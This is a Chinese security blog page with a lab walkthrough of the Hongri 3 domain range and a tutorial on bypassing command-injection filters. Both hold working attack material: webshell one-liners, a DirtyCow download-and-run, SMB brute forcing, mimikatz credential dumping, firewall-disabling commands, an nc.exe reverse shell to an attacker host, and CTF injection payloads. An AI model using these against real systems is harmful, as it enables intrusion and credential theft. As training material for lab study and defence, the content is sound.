首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
13,170 阅读
2
全网最全渗透测试靶场推荐【2026最新靶场推荐】,拒绝信息差
7,879 阅读
3
2025最新渗透测试靶场推荐,新手必练的靶场推荐
6,261 阅读
4
src平台推荐,挖SRC必须知道的25个漏洞提交平台
5,815 阅读
5
几个常见的密码字典推荐
5,535 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
靶场实战
SQL注入
提权
代理隧道
域渗透
信息收集
权限提升
hackmyvm
WAF绕过
AI安全
云安全
蓝队防御
权限维持
红队攻击
云服务
白小羽
累计撰写
192
篇文章
累计收到
2
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
183
篇与
的结果
2025-05-18
红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学
这是红日团队的第三套靶场,本次靶场渗透涉及敏感信息泄露、暴力破解、脏牛提权、内网穿透、端口转发、以及域渗透等多种知识点。该靶场环境由5台机器组成,其中包括3台Windows机器和2台Linux机器。网络拓扑图如下红日靶场(1-8)全套下载连接:链接:https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw?pwd=uze8 提取码:uze8 红日官网:http://vulnstack.qiyuanxuetang.net/那么开始渗透首先添加一张网卡(仅主机模式),192.168.93.0/24 网段web-centos 进去第一条命令,重启网络服务,否则可能上不了网service network restart 网卡1:桥接模式 192.168.1.110网卡2:仅主机 192.168.93.100账号密码:wwwuser/wwwuser_123Aqxweb1-ubuntu仅主机模式:192.168.93.120PC仅主机:192.168.93.30win 2008仅主机:192.168.93.20 Windows 2008本地的管理员用户和域管理员的密码 WIN2008Administrator:123qwe!ASD TESTadministrator:zxcASDqw123!!win 2012仅主机:192.168.93.10kaliIP:192.168.1.8,192.168.1.5(中间换了换 IP)这是一个黑盒测试,开机后就不要进行任何的操作了。外网打点主机发现,因为是桥接模式,ip有点多,所以就挨个测试,看110很可疑,第一次就测出来了22端口,openssh 5.3版本,80端口 nginx 1.9.4 ,Joomla内容管理xi'tong3306测试,发现可以远程登录,但是我们不知道用户信息进一步信息收集查看源码丢给deepseek,看看有没有泄露版本另外在joomla这个cms内容管理系统中呢,这个文件存在版本信息,我们可以看看/administrator/manifests/files/joomla.xml上面可以看到cms的指纹信息了,版本为3.9.12,下面进行漏洞检索searchsploit Joomla 3.9漏洞信息里面是没有可以利用的漏洞的,下面我们用joomscanapt install joomscan joomscan --url http://192.168.1.110/JoomScan 是一款专门针对 Joomla 内容管理系统(CMS)的安全扫描工具,用于检测 Joomla 网站中的漏洞、配置错误和安全风险。扫描出来一个这个东西,访问即可curl http://192.168.1.110/configuration.php~服务攻防找到了mysql的账号密码,刚开始我们已经测试过能远程登录mysql的mysql -utestuser -h192.168.1.110 -p --skip-ssl 密码:cvcvgjASD!@ MySQL [joomla]> use joomla; MySQL [joomla]> select * from umnbt_users;很明显是加了盐的,破解起来很难,这里还有另外一个表am2zu_users查看是否能向外部写文件,以及是否允许写日志文件show variables like '%general%'; SHOW VARIABLES LIKE 'general_log_file';这里发现secure_file_priv是允许向外部写文件的,那么我们尝试写一个shell木马,报错了,看样子是不允许我们写入的MySQL [joomla]> select '<?php phpinfo();@eval($_GET[1]);?>' into outfile '/var/www/html/shell.php'; ERROR 1045 (28000): Access denied for user 'testuser'@'%' (using password: YES)那么更换日志渗透的方法,上面看到日志功能是off的我们需要no,很遗憾也是权限不够MySQL [joomla]> set global general_log=on; ERROR 1227 (42000): Access denied; you need (at least one of) the SUPER privilege(s) for this operation那么久添加后台用户进一步渗透,两个表中呢,我们不清楚哪个表是后台的用户表,那么就都添加一条数据,密码为123456的md5,e10adc3949ba59abbe56e057f20f883e,首先我们要看看需要添加哪些字段desc 表名; id,name,username,email,password,activation,otpKey,otep构造sql语句insert into am2zu_users(id,name,username,email,password,activation,otpKey,otep) values(999,'xiaoyu','xiaoyu@test.com','e10adc3949ba59abbe56e057f20f883e','ssssss','kkkkkk','yyyyy'); # 失败后面搜到了这个网站,有利用方法https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn代码如下INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');执行结果MySQL [joomla]> INSERT INTO `am2zu_users` -> (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) -> VALUES ('Administrator2', 'admin2', -> 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); Query OK, 1 row affected (0.001 sec) MySQL [joomla]> select * from `am2zu_users`; +-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+ | id | name | username | email | password | block | sendEmail | registerDate | lastvisitDate | activation | params | lastResetTime | resetCount | otpKey | otep | requireReset | +-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+ | 891 | Super User | administrator | test@test.com | $2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2 | 0 | 1 | 2019-10-19 12:48:41 | 0000-00-00 00:00:00 | 0 | | 0000-00-00 00:00:00 | 0 | | | 0 | | 896 | Administrator2 | admin2 | | d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199 | 0 | 0 | 2025-02-25 19:56:54 | 2025-02-25 19:56:54 | | | 2025-02-25 19:56:54 | 0 | | | 0 | +-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+ 2 rows in set (0.001 sec) MySQL [joomla]> INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) -> VALUES (896,'8'); Query OK, 1 row affected (0.001 sec) MySQL [joomla]> select * from `am2zu_user_usergroup_map`; +---------+----------+ | user_id | group_id | +---------+----------+ | 891 | 8 | | 896 | 8 | +---------+----------+ 2 rows in set (0.001 sec)从上面那个网站可以知道账号密码为admin2/secret(注意数据一定要对应上,用户id需要对应,并且不能有重复的数据,否则都有可能登录不成功)我们修改主题文件为kali默认的反弹shell文件内容,并修改ip和端口但是呢反弹失败了,切换思路写一句话木马<?php @eval($_POST['pass']);?>使用蚁剑连接内网渗透这里呢被禁用命令了,也难怪刚刚反弹不成功这里我们需要蚁剑的一个插件(魔法)在列表页使用插件使用这个模式就可以正常执行命令啦,后面又试了试各种反弹shell的命令,都没有成功,那么只能利用这个蚁剑的shell了在/tmp/mysql/test.txt文件中有账号密码wwwuser/wwwuser_123Aqxssh连接失败,提示信息为算法问题那么需要加上算法ssh wwwuser@192.168.1.110 -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa # 以下是常见的解决方案 ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@10.10.10.130 # Unable to negotiate with 10.10.10.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsa ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131内网信息收集使用icmp协议探测内网ip存活数量,发现了另外4台主机()for i in {1..254}; do (ping -c 1 192.168.93.${i} | grep "bytes from" | grep -v "Unreachable" &); done;上传frpkali开启frp服务器,frp相对详细使用教程见-- 三种代理方式打入内网靶机连接kali的frp服务器修改代理文件vi /etc/proxychains4.conf分别对10,20,120进行端口扫描(耗时可能有点久),第一台和第三台都是Windows服务器proxychains nmap -sT -sV -Pn 192.168.93.10 -T4proxychains nmap -sT -sV -Pn 192.168.93.20 -T4proxychains nmap -sT -sV -Pn 192.168.93.30 -T4这台扫描结果是Linux的服务器,开着ssh和3306端口,并且80也开着的proxychains nmap -sT -sV -Pn 192.168.93.120 -T4开启浏览器代理,代理到我们的kali,通过kali的代理访问这个内网靶机这是内网中的一个靶机,也是同样的cms,那么我们可不可以以同样的方式去获取密码再次利用joomscan这个工具,扫描结果也是一样的proxychains joomscan --url http://192.168.93.120/和刚刚的配置文件一模一样,那么大概率是使用的内网映射了,源主机是120,但是访问的是100那台具有nat网卡的主机连接ssh后,继续信息收集提权(可跳过)# kali git clone https://github.com/firefart/dirtycow.git cd dirtycow python -m http.server 5000 # 靶机 wget 192.168.1.8:5000/dirty.c gcc -pthread dirty.c -o dirty -lcrypt ./dirty my-new-password mv /tmp/passwd.bak /etc/passwd su firefart password:123456成功提权到最高权限第一台web服务器拿下利用nmap对两台Windows靶机的445端口进行漏洞扫描,判断是否存在永恒之蓝漏洞(三台接没有)那么还有一种方法就是SMB爆破了,非常巧,在我的top1000字典中恰好没有这个密码(所以为了伪装成一个大佬我就手动把密码加了进去~),再很巧,两个靶机的SMB密码都是123qwe!ASDproxychains hydra -l Administrator -P xato-net-10-million-passwords-1000.txt -s 445 -t 4 -vV -m "SMB" SMB://192.168.93.30 proxychains hydra -l Administrator -P xato-net-10-million-passwords-1000.txt -s 445 -t 4 -vV -m "SMB" SMB://192.168.93.20域渗透本机Windows打开 proxifier,并设置全局代理打开本机Windows的cmd,此时就能连接第一台SMB服务器,192.168.93.20net use \192.168.93.20ipc$ "123qwe!ASD" /user:administrator # 通过 net use 命令连接到目标服务器的 IPC$ 共享。 dir \192.168.93.20c$ # 列出目标服务器上 C$ 共享目录的内容。第二台192.168.93.30那么接下来就要关闭目标防火墙,开启远程连接,首先创建一个进程,关闭失败sc \192.168.93.20 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \192.168.93.20 start unablefirewall那么添加计划任务关闭防火墙试试呢at \192.168.93.20 23:17:00 'netsh advfirewall set allprofiles state off' at \192.168.93.20 23:17:00 'netsh advfirewall set allprofiles state off'接下来就是修改注册表了,计划任务设置允许远程登录at \192.168.93.20 23:31:00 "reg add 'HKLMSYSTEMCurrentControlSetControlTerminal Server' /v fDenyTSConnections /t REG_DWORD /d 0 /f"计划任务放行3389端口at \192.168.93.20 23:32:00 'netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389'尝试远程连接,连接失败,切换思路既然无法关闭那么就使用MSF咯proxychains MSFconsole set RHOST 192.168.93.20 set LHOST 192.168.93.5 # kali地址 set SMBUser Administrator set SMBPass 123qwe!ASD set LPORT 4444 set payload Windows/x64/shell_bind_tcp run这里就已经是系统权限了。。。。并且主机名为win2008查看dns服务器,为192.168.93.10,大概率就是域控服务器了ipconfig /all尝试使用密码123qwe!ASD登录域控服务器其他信息收集,检查是否存在杀软Windows defender(不存在)sc query WinDefend查看系统类型,是x64的C:Windowssystem32>systeminfo | findstr /i "system type" systeminfo | findstr /i "系�system type" OS Build Type: Multiprocessor Free System Type: x64-based PC上传mimikatz.exeexit set payload Windows/x64/meterpreter/bind_tcp run upload -r /data/windows_atk/mimikatz/x64/mimikatz.exe C:\使用shell执行命令,执行失败了那么就退出,使用shell_bind_tcp模块exit set payload windows/x64/shell_bind_tcp run抓取铭文密码mimikatz.exe log privilege::debug sekurlsa::logonpasswords得到两个域的账号密码,枚举DNS服务器的文件系统TEST:zxcASDqw123!! WIN2008:123qwe!ASD开启远程服务# 放行3389端口 netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 # 关闭防火墙 netsh advfirewall set allprofiles state off # 修改注册表允许远程连接 reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f成功获取20靶机远程操作权限使用test域登录dns服务器,登录成功net use \192.168.93.10ipc$ "zxcASDqw123!!" /user:Administrator dir \192.168.93.10c$创建执行任务,关闭防火墙,执行不了奥sc \192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \192.168.93.10 start unablefirewall那么就利用nc.exe反弹shellcurl -O http://192.168.1.5:5000/nc.exe net use \192.168.93.10ipc$ "zxcASDqw123!!" /user:Administrator copy .nc.exe \192.168.93.10c$ net use \192.168.93.20ipc$ "123qwe!ASD" /user:Administrator copy .nc.exe \192.168.93.20c$可以看到nc已经上传成功了创建一个进程sc \192.168.93.10 create ncshell binpath= "c:nc.exe 192.168.93.20 1234 -e cmd" sc \192.168.93.10 start ncshell在反弹过来的shell中开启远程连接# 放行3389端口 netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 # 关闭防火墙 netsh advfirewall set allprofiles state off # 修改注册表允许远程连接 reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f使用远程登录,即可发现允许远程登录了(注意Proxifier全局代理不能断掉)拿下winserver2012域控服务器现在已经拿下了三台,那么接下来就是第四台win7(pc),ip:30,回到刚刚的MSFset RHOSTS 192.168.93.30开启远程连接# 放行3389端口 netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 # 关闭防火墙 netsh advfirewall set allprofiles state off # 修改注册表允许远程连接 reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f此时已经可以远程连接,输入之前获得的密码即可拿下第最后一台PC主机至此渗透结束,还可以清除日志,关闭全部远程,恢复到初始状态,做好隐蔽措施渗透测试报告总结(deepseek)1. 测试概述本次渗透测试模拟了针对某企业网络的全流程攻击,覆盖外网打点、内网横向渗透、域控提权等多个阶段。目标网络包含Web服务器(CentOS/Ubuntu)、Windows域环境(2008/2012)及内网PC终端(Win7),最终成功获取域控服务器(Windows Server 2012)及全部内网主机的控制权。2. 攻击路径总览graph TD A[外网入口: Web-CentOS] --> B{漏洞利用} B --> C[Joomla 3.9.12后台接管] C --> D[MySQL凭据泄露] D --> E[Webshell上传 & 蚁剑连接] E --> F[SSH登录 & 内网代理搭建] F --> G[内网主机发现] G --> H[横向移动: SMB爆破 & 永恒之蓝漏洞利用] H --> I[域控服务器渗透] I --> J[域内PC终端控制]3. 外网打点阶段3.1 目标识别 IP地址:192.168.1.110(桥接模式) 开放服务: 22端口:OpenSSH 5.3 80端口:Nginx 1.9.4 + Joomla 3.9.12 3306端口:MySQL 5.5.62 3.2 关键漏洞利用(1) Joomla后台接管 漏洞利用:通过configuration.php~备份文件泄露获取MySQL凭据 攻击链: # 数据库操作 INSERT INTO am2zu_users (...) VALUES (...); # 添加管理员账号 INSERT INTO am2zu_user_usergroup_map (...) VALUES (...); # 分配权限 结果:成功登录Joomla后台(admin2/secret) (2) Webshell植入 方法:通过模板编辑注入PHP一句话木马 工具:蚁剑连接http://192.168.1.110/shell.php 提权:利用Dirty Cow漏洞从wwwuser提权至root 4. 内网横向渗透4.1 网络拓扑分析 网段划分: 仅主机模式:192.168.93.0/24 关键主机: 192.168.93.10(域控-Win2012) 192.168.93.20(Win2008) 192.168.93.30(Win7-PC) 4.2 代理隧道搭建 工具:frp反向代理 配置:# frpc.ini [common] server_addr = 192.168.1.8 server_port = 7000 [socks5] type = tcp remote_port = 1080 plugin = socks5 4.3 横向移动关键步骤(1) SMB服务爆破 工具:Hydra 命令: proxychains hydra -l Administrator -P passlist.txt smb://192.168.93.20 结果:破解密码123qwe!ASD,获取Win2008控制权 (2) 永恒之蓝漏洞利用 模块:exploit/windows/smb/ms17_010_eternalblue Payload:windows/x64/meterpreter/reverse_tcp 结果:获取Win2008系统级Shell 5. 域渗透与域控提权5.1 域环境分析 域名称:TEST 域控IP:192.168.93.10 关键凭证: WIN2008Administrator:123qwe!ASD TESTadministrator:zxcASDqw123!! 5.2 域控攻击路径 凭证抓取: mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" 远程执行: sc \192.168.93.10 create ncshell binpath="cmd /c c:nc.exe 192.168.93.20 1234 -e cmd" 权限提升:通过RDP连接接管域控服务器 6. 渗透测试结果 主机IP 操作系统 获取权限级别 关键漏洞/方法 192.168.1.110 CentOS 7 root Joomla SQL注入 + Dirty Cow 192.168.93.20 Windows 2008 SYSTEM SMB密码爆破 + Mimikatz 192.168.93.10 Windows 2012 Domain Admin 横向移动 + 凭证重用 192.168.93.30 Windows 7 Administrator 永恒之蓝漏洞利用 7. 风险总结与修复建议7.1 高风险项 弱密码策略 SMB服务密码123qwe!ASD强度不足 建议:启用复杂度策略 + 定期强制修改 过时软件漏洞 Joomla 3.9.12存在未授权数据库写入风险 建议:升级至最新LTS版本 + 禁用备份文件访问 横向防御缺失 内网主机未部署EDR/流量监控 建议:部署微隔离策略 + 启用Windows Defender ATP 7.2 加固措施 网络层: # 防火墙规则示例(Linux) iptables -A INPUT -p tcp --dport 3306 -j DROP # 禁用MySQL外网访问 系统层: # Windows组策略 Set-ItemProperty "HKLM:SYSTEMCurrentControlSetControlLsa" -Name "DisableDomainCreds" -Value 1 # 禁止明文凭据缓存 应用层: # Nginx配置隐藏版本号 server_tokens off; 8. 总结与反思本次测试暴露了企业网络在边界防护、密码管理和漏洞修复方面的严重不足。建议企业: 建立常态化红蓝对抗机制 每季度执行一次外部漏洞扫描 对运维人员开展ATT&CK攻击链防御培训 渗透测试不仅是技术验证,更是安全意识的觉醒。——By 泷羽Sec安全攻防团队往期推荐红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【渗透测试】ATT&CK靶场一,phpmyadmin,域渗透,内网横向移动攻略【oscp】vulnerable_docker,三种代理方法打入内网【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了HTB-Chemistry靶机渗透教程
2025年05月18日
1,687 阅读
0 评论
0 点赞
2025-05-18
从0-1讲解RCE漏洞绕过,Windows与LinuxRCE漏洞绕过实战解析
从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结----实战解析前言本文讲解了Windows/Linux的常见命令以及命令执行漏洞的绕过方式,靶场环境为CTFhub,分别有命令注入、cat过滤、空格过滤、过滤目录分隔符、运算符过滤,这几种绕过方式Windows我们在Windows命令行中执行命令的时候,是不区分大小写的C:\>WHOAMI yv\administrator 在命令行中可以有无数个"C:\>wh""""oami yv\administrator C:\>wh""""""""""""""""""""""""""""""oami yv\administrator 不能有两个连续的^C:\>whoa^mi yv\administrator C:\>whoam^^i 'whoam^i' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:\>who^a^m^i yv\administrator 在命令中如果 " 在^之前,此时"的数量必须为偶数C:\>who""a^mi yv\administrator C:\>who"a^mi 'who"a^mi' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 在命令中"在^之后,且带有参数,则”也需要带有偶数C:\>n^et" user 'net" user' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:\>n^et"" user \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 也可以使用()对命令进行包裹C:\>(whoami) yv\administrator C:\>(n^et"" user) \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 ()的数量不设上限C:\>(((whoami))) yv\administrator 使用变量简单拼接%%局部分开每个变量C:\>set cmd1=who C:\>set cmd2=am C:\>set cmd3=i C:\>%cmd1%%cmd2%%cmd3% yv\administrator 变量拼接方式二C:\>set cmd1=who C:\>set cmd3=i C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式三C:\>set cmd1=wh"""o C:\>set cmd3=i""" C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式四 ^C:\>set cmd1=wh""""o # 这里需要偶数,因为在变量拼接结果中有 ^ C:\>set cmd3=i""" # 后面正常多少个 " 都行 C:\>%cmd1%a^m%cmd3% yv\administrator 含有参数的命令,net userC:\>set cmd1=s""er C:\>set cmd2=t u C:\>set cmd3=n^e C:\>%cmd3%%cmd2%%cmd1% \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 一次性执行多条命令C:\>cmd /C "set cmd1=s""ser && set cmd2=t u && set cmd3=n^e && %cmd3%%cmd2%%cmd1%" \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 Windows环境变量切分先设置一个变量C:\>set cmd=whoami C:\>%cmd% yv\administrator 这个0,1表示的数组切片,代表前后切片的索引C:\>set cmd=whoami C:\>echo %cmd:~0,1% w C:\>echo %cmd:~0,4% whoa 也可以为负数,负数表示从右边开始数第几个C:\>set cmd=whoami C:\>echo %cmd:~-4,4% oami C:\>echo %cmd:~-6,4% whoa 当然也能直接向外部写一个php一句话木马检查是否存在for循环执行命令C:\>cmd /V:ON /C "set kpx=awlh2im,xiaoyu&& for %G in (1,3,-3,0,6,5) do set lq=!lq!!kpx:~%G,1!&& if %G==5 !lq:~4!" C:\>set lq=!lq!!kpx:~1,1! && if 1 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~3,1! && if 3 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~-3,1! && if -3 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~0,1! && if 0 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~6,1! && if 6 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~5,1! && if 5 == 5 !lq:~4! yv\administrator LinuxLinux中是区分大小写的┌──(root㉿251ebe86465a)-[/] └─# LS LS: command not found ┌──(root㉿251ebe86465a)-[/] └─# Ls Ls: command not found 运算符;表示连续指令,即使前面那条命令报错,后面也会接着执行┌──(root㉿251ebe86465a)-[/] └─# LS;whoami LS: command not found root & 用于后台执行命令,这个可能看不出来┌──(root㉿251ebe86465a)-[/] └─# ls&wHoami [1] 59 archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr Command 'Whoami' not found, did you mean: command 'whoami' from deb coreutils Try: apt install <deb name> [1]+ Done ls --color=auto 我们使用ping 127.0.0.1 & whoami,这条命令会将ping放在后台执行,这个时候你没有设置ping的次数,就会一直执行下去,停止不了,而whoami已经执行完毕了。┌──(root㉿Kali)-[/usr/local] └─# ping 127.0.0.1& whoami [1] 4508 root PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=5.80 ms ┌──(root㉿Kali)-[/usr/local] └─# 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.593 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.049 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.044 ms 64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.058 ms 64 bytes from 127.0.0.1: icmp_seq=6 ttl=64 time=0.045 ms --------之后将会一直运行下去,也停止不了。。。。 &&连接两个指令的时候,要保证命令两个命令都能正常执行,否则一个错,就执行不了了┌──(root㉿251ebe86465a)-[/] └─# ls&&whoami archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr root ┌──(root㉿251ebe86465a)-[/] └─# LS&&whoami LS: command not found |管道符:用于将一个命令的输出作为另一个命令的输入。它允许两个或多个命令之间传递数据。例如,我获取这个/data路径的下的所有包含boo的文件┌──(root㉿251ebe86465a)-[/] └─# ls | grep '*boo*' boot ||逻辑运算符:如果||左边的命令执行失败(返回非零退出状态),那么||右边的命令将会被执行。执行成功一个命令后,后面的苏哦有命令都不会执行。┌──(root㉿251ebe86465a)-[/] └─# ip addr || wHoami || ls 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever 转义字符\┌──(root㉿251ebe86465a)-[/] └─# who\ami root '',(),$,``┌──(root㉿251ebe86465a)-[/] └─# who''ami root ┌──(root㉿251ebe86465a)-[/] └─# (whoami) root ┌──(root㉿251ebe86465a)-[/] └─# (who''ami) root ┌──(root㉿251ebe86465a)-[/] └─# `(echo whoami)` root ┌──(root㉿251ebe86465a)-[/] └─# $(echo whoami) root 命令引用┌──(root㉿Kali)-[/data] └─# t=l;j=s;$t$j #相当于执行了 ls 谷歌插件 GitHack miku Linux特有变量$1,$*,$@,$n这个n表示除0以外的任意数字,都可以作为系统命令绕过的方式┌──(root㉿Kali)-[/data] └─# who$2ami root ┌──(root㉿Kali)-[/data] └─# who$4ami root ┌──(root㉿Kali)-[/data] └─# who$*ami root ┌──(root㉿Kali)-[/data] └─# who$@ami root ┌──(root㉿Kali)-[/data] └─# who$0ami who-zshami:未找到命令 Linux通配符我们以执行whoami这个命令来进行测试┌──(root㉿Kali)-[/etc/docker] └─# whereis whoami whoami: /usr/bin/whoami /usr/share/man/man1/whoami.1.gz ┌──(root㉿Kali)-[/etc/docker] └─# /usr/bin/whoam* root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/wh?am? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /u?r/b?n/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /*/b?n/????mi root Linux中命令中的命令虽然会报错,但是命令也会正常执行┌──(root㉿kali)-[/etc/docker] └─# `666666` 666666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# 666666`whoami`6666 666666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# `6666`whoami`6666` 6666:未找到命令 6666:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# 6666`whoami`6666 6666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# w`sfdawfewa`ho`sajfdkljas`am`sdjflk123`i sfdawfewa:未找到命令 sajfdkljas:未找到命令 sdjflk123:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf}oam${ddkjdld}i root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf242341}oam${ddkjdld234232}i root Linux环境变量切割查看环境变量┌──(root㉿251ebe86465a)-[/] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 查看环境变量的长度┌──(root㉿251ebe86465a)-[/] └─# echo ${#PATH} 60 分割环境变量┌──(root㉿kali)-[/etc/docker] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/root/.dotnet/tools ┌──(root㉿kali)-[/usr/local] └─# echo ${PATH:0:10} /usr/local ┌──(root㉿kali)-[/usr/local] └─# echo ${PATH:0:1} / 靶场练习CTFHUB 使用&&符号,没有获取到想要的结果,因为&&在前一个命令没有执行结束的时候,是不会执行后面的命令的。当然还有种思路就是指定次数,使用-c参数,这里是没有效果的┌──(root㉿kali)-[~] └─# ping -c 2 127.0.0.1 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.489 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.106 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1004ms rtt min/avg/max/mdev = 0.106/0.297/0.489/0.191 ms ;绕过┌──(root㉿kali)-[~] └─# ping -c 2 127.0.0.1;whoami PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.558 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.047 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1008ms rtt min/avg/max/mdev = 0.047/0.302/0.558/0.255 ms root 使用&也可以得到结果,通过将ping命令放到后台执行,后面的结果也会执行[1] => /sys/devices/platform/serial8250/tty/ttyS2/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS2/flags [2] => /sys/devices/platform/serial8250/tty/ttyS0/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS0/flags [3] => /sys/devices/platform/serial8250/tty/ttyS3/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS3/flags [4] => /sys/devices/platform/serial8250/tty/ttyS1/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS1/flags [5] => /sys/devices/virtual/net/tunl0/flags payload:127.0.0.1 & cat /sys/devices/virtual/net/tunl0/flags [6] => /sys/devices/virtual/net/lo/flags payload:127.0.0.1 & cat /sys/devices/virtual/net/lo/flags 这些payload都给你们试过了,没有flag不断执行命令,找到这个web目录中有一个数字.php查看即可得知payload127.0.0.1 & cat /var/www/html/17165225371506.php 查看源码过滤cat题目:过滤了cat命令之后,你还有什么方法能读到 